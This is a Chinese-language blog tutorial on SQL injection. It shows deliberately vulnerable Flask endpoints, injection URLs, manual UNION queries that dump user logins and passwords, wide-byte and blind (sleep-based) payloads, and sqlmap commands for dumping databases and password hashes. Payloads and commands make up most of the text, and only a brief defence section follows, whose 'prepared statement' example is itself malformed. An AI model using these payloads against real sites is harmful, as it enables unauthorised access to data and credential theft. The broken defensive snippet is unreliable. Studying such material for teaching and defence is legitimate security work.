WEB安全第四篇--与数据库的亲密接触:SQL注入攻击
零、前言
最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。
一、SQL注入的本质:
用户的输入与代码中的SQL语句拼接,可以构成完整的有效的可执行的数据库增删改查操作指令,送入web程序中被执行。攻击者的关键在于猜测并构造完整的可执行的SQL语句。
二、SQL注入的分类:
1、数字类:
#数字类:
@app.route("/sqlinjection",methods=["GET","POST"])
def sqlinjection():
id = request.args.get("id")
sql = "select * from tablename where id='%s';"%str(id)
cur.execute(sql)
ret = cur.fetchall()
return jsonify({"data":ret}) #攻击数字型:
"""
#GET:
https://www.text.com/sqlinjection?id=1and1=1(适用于python、php等动态类型语言)
https://www.text.com/sqlinjection?id=1and1=2(适用于python、php等动态类型语言)
https://www.text.com/sqlinjection?id=1+1(适用于java、C++等静态类型语言)
#POST
id 在POST数据部分,其他没有差别
"""
2、字符串类:
#字符串类:
@app.route("/sqlinjection",methods=["GET","POST"])
def sqlinjection():
strid = request.args.get("strid")
sql = "select * from tablename where strid='%s';"%str(strid)
cur.execute(sql)
ret = cur.fetchall()
return jsonify({"data":ret}) #攻击字符串型:
"""
#GET:
https://www.text.com/sqlinjection?strid=1'and'1'='1
https://www.text.com/sqlinjection?id=1'and'1'='2
使用'或者使用" 根据情况而定
#POST
strid 在POST数据部分,其他没有差别
"""
3、模糊字符串类:
#模糊字符串查询类:
@app.route("/sqlinjection",methods=["GET","POST"])
def sqlinjection():
strid = request.args.get("strid")
sql = "select * from tablename where strid like ‘%%s%;"%str(strid)
cur.execute(sql)
ret = cur.fetchall()
return jsonify({"data":ret}) #攻击模糊字符串查询型:
"""
#GET:
https://www.text.com/sqlinjection?strid=1%'%20or%20strid%20like%20'%2
使用'或者使用" 根据情况而定
#POST
strid 在POST数据部分,其他没有差别
"""
三、常用手工暴数据:
#常用手工暴数据流程(MySQL):
"""
1、首先验证是否有漏洞,and 1=1 and 1=2 字符型时候记得加引号和注释符,数字型看情况加注释符,加注释符号的原因是注释掉后面的语句,排除干扰。 2、验证有洞后,观察能显示的数据项,一般使用order by x 即可。 3、union all select x,x,x,database(),x,x balabala 获取数据名称 @version 获取数据库版本也是重要的 4、获取表名
' and 1=0 union all select 1,table_schema,table_name,4,5,6,7 from information_schema.tables where table_schema != 'mysql' and table_schema != 'information_schema' -- - 5、获取列名
' and 1=0 union all select 1,table_name, column_name,4,5,6,7 from information_schema.columns where table_schema != 'mysql' and table_schema != 'information_schema' and table_schema='bWAPP' and table_name='users' -- - 6、获取数据
' and 1=0 union all select 1,login,password,secret,email,admin,7 from users-- -
"""
四、宽字节注入:
1、%BF%27 addslashes给‘也就是%27加\成了%BF%5C%27 ->�' 后面跟and sleep(5) -- - ok 利用编码方式规避。
五、盲注:
1、盲注指的是不通过直接显示数据库中的数据而是通过响应的不同来猜解数据。
#这种不同:
(1)延时返回
(2)条件判断响应(条件为真,语句执行。调价为假,语句不执行,结果不同)
(3)错误不同
#一般来说就是
(1)基于时间类型的盲注
(2)基于布尔类型的盲注
(3)基于异常类型的盲注
2、首先讲一下时间盲注
#sleep(5) 延时响应(mysql)
#delay '0:0:5' 延时响应(mssql)
通过判断 IF 如何如何 条件成立时候执行延时语句,通过响应时间来判断条件是否成立。
这种if 语句可以如下:
"""
if(expr1,result1,result2)#如果expr1成立 result1 否则 result2
#常用:
sleep(5)->延时5s
substring(string_var_name,1,1)
#数字分别是起始位置下标 以及 长度benchmark用来做到标准延时,其实没有必须用的必要,执行什么什么多少次。
#所以一个SQL盲注可以构造
select * from tablename where id='103' and if(substring(database(),1,1)='a',sleep(5),null)';
"""
3、布尔类型盲注
简单的常用 or 1=1 1=2 ‘1’=‘1’ ‘2’=‘1’这种如果注入点在order_by 后面 可以如下构造利用order_by if(1,1,(select 1 union select 2)) limit 0,x
六、SQLMAP使用:
#、基本GET 类型:
python sqlmap.py -u "http://www.a.b.c.d?id=123"#多个参数指定参数时用*
python sqlmap.py -u "http://www.a.b.c.d?id=123"--dbs #爆数据库类型
python sqlmap.py -u "http://www.a.b.c.d?id=123"--current-db #当前使用的数据库
python sqlmap.py -u "http://www.a.b.c.d?id=123"--current-users #暴当前用户
python sqlmap.py -u "http://www.a.b.c.d?id=123"--users #暴用户
python sqlmap.py -u "http://www.a.b.c.d?id=123"--passwords #暴密码
python sqlmap.py -u "http://www.a.b.c.d?id=123"-D currentdatabase --tables #当前使用的表
python sqlmap.py -u "http://www.a.b.c.d?id=123"-D currentdatabase -T tablename --columns #暴字段
python sqlmap.py -u "http://www.a.b.c.d?id=123"-D currentdatabase -T tablename -C "name1,name2,..." --dump #暴数据 #、POST
#burp抓包保存为 post.txt
sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n --dbs #其他类似 sqlmap.py -u "http://192.168.160.1/sqltest/post.php" --forms #自动寻找表单字段,交互式询问确定
sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"
七、SQLMAP一些注意点:
#、https 时候记得host后面需要时加上:
#、--smart 启发式扫描
#、*号更适合json请求数据
#、常用的python sqlmap.py -l/r post.txt --level --risk --dbs --smart
八、防御:
1、过滤,使用标准的语言内置的过滤函数,或者自写过滤函数,需要过滤的一般有:' " %20 # - = 以及SQL关键词。
2、预编译或者使用ODD\PDO(代码web框架里面的的数据库操作类)等:
@app.route("/sqlinjection",methods=["GET","POST"])
def sqlinjection():
strid = request.args.get("strid")
cur.execute(""select * from tablename where strid = '%s';",(strid))
ret = cur.fetchall()
return jsonify({"data":ret})
WEB安全第四篇--与数据库的亲密接触:SQL注入攻击的更多相关文章
- MySQL数据库(六)-- SQL注入攻击、视图、事物、存储过程、流程控制
一.SQL注入攻击 1.什么是SQL注入攻击 一些了解sql语法的用户,可以输入一些关键字 或合法sql,来导致原始的sql逻辑发生变化,从而跳过登录验证 或者 删除数据库 import pymysq ...
- MySQL数据库(六) —— SQL注入攻击、视图、事物、存储过程、流程控制
SQL注入攻击.视图.事物.存储过程.流程控制 一.SQL注入攻击 1.什么是SQL注入攻击 import pymysql conn = pymysql.Connect( user="roo ...
- 数据库防火墙如何防范SQL注入行为
SQL注入是当前针对数据库安全进行外部攻击的一种常见手段.现有主流应用大多基于B/S架构开发,SQL注入的攻击方式正是利用web层和通讯层的缺陷对数据库进行外部恶意攻击.将SQL命令巧妙的插入通讯的交 ...
- 【数据库】SQL注入攻击
背景: 机房收费系统验收的时候,师父提到SQL注入攻击.自己以前看过类似的博客大概知道一些这方面的事情,于是自己动手查了查. 定义: 所谓SQL注入,通过SQL命令插入到Web表单提交或者输入域名或页 ...
- 【渗透攻防WEB篇】SQL注入攻击初级
前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问 ...
- 【渗透攻防Web篇】SQL注入攻击高级
前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 ...
- 【web渗透技术】渗透攻防Web篇-SQL注入攻击初级
[web渗透技术]渗透攻防Web篇-SQL注入攻击初级 前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的S ...
- web安全之SQL注入---第四章 如何进行SQL注入攻击
第四章 如何进行SQL注入攻击1.数字注入2.字符串注入 '# '--
- web前端安全 XSS跨站脚本 CSRF跨站请求伪造 SQL注入
web安全,从前端做起,总结下web前端安全的几种技术: 1,XSS XSS的全称是Cross Site Scripting,意思是跨站脚本,XSS的原理也就是往HTML中注入脚本,HTML指定了脚本 ...
随机推荐
- Java 中的异常和处理详解
Java 中的异常和处理详解 原文出处: 代码钢琴家 简介 程序运行时,发生的不被期望的事件,它阻止了程序按照程序员的预期正常执行,这就是异常.异常发生时,是任程序自生自灭,立刻退出终止,还是输出错误 ...
- [从jQuery看JavaScript]-注释(comments)
jQuery片段: /*! * jQuery JavaScript Library v1.3.2 * http://jquery.com/ * * Copyright (c) 2009 John Re ...
- 试读《基于MVC的JavaScript Web富应用开发》— 不一样的JavaScript
前言 <基于MVC的JavaScript Web富应用开发>是ItEye在7月份发起试读的书.下载了试读的章节,发现只有全本的开始到第二章,第一章很简洁明了地讲述了JavaScript的历 ...
- 数据库 Oracle数据库性能优化
--在Oacle数据库涉及到全表扫描的SQL查询(top,count)中, --现场用户删除表中大部分数据,只保留1W条数据,但是查询仍然很慢,检查磁盘IO,发现磁盘IO不是很高 --经过分析Oacl ...
- 论SparkStreaming的数据可靠性和一致性
转自: http://www.csdn.net/article/2015-06-21/2825011 摘要:眼下大数据领域最热门的词汇之一便是流计算了,而其中最耀眼的无疑是来自Spark社区的Spar ...
- html学习笔记五
关于服务端和client的校验问题 上述的表格信息填写后发现,即使有些信息不添,依旧能够提交 所以针对此问题,我们要在client进行数据填写信息的增强型校验(必添单元,必须填写有效信息,否则无法提交 ...
- Perl Spreadsheet::WriteExcel 模块自动生成excel 文件
Spreadsheet::WriteExcel 是一个跨平台的生成excel文件的模块, 可以方便的设置单元格内容, 样式, sheet 的名称: 但是默认情况下中文会乱码, 需要用Encode模块进 ...
- 那些有关求解next数组的算法
next数组的历史 有关字符串的模式匹配算法中,比较容易写出的是朴素的匹配算法也就是一种暴力求解方式,但是由于其时间复杂度为子串长度和主串长度的乘积,例如strlen(subStr) = n,strl ...
- android获取手机屏幕分辨率
@Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceSt ...
- Spring学习笔记——Spring依赖注入原理分析
我们知道Spring的依赖注入有四种方式,各自是get/set方法注入.构造器注入.静态工厂方法注入.实例工厂方法注入 以下我们先分析下这几种注入方式 1.get/set方法注入 public cla ...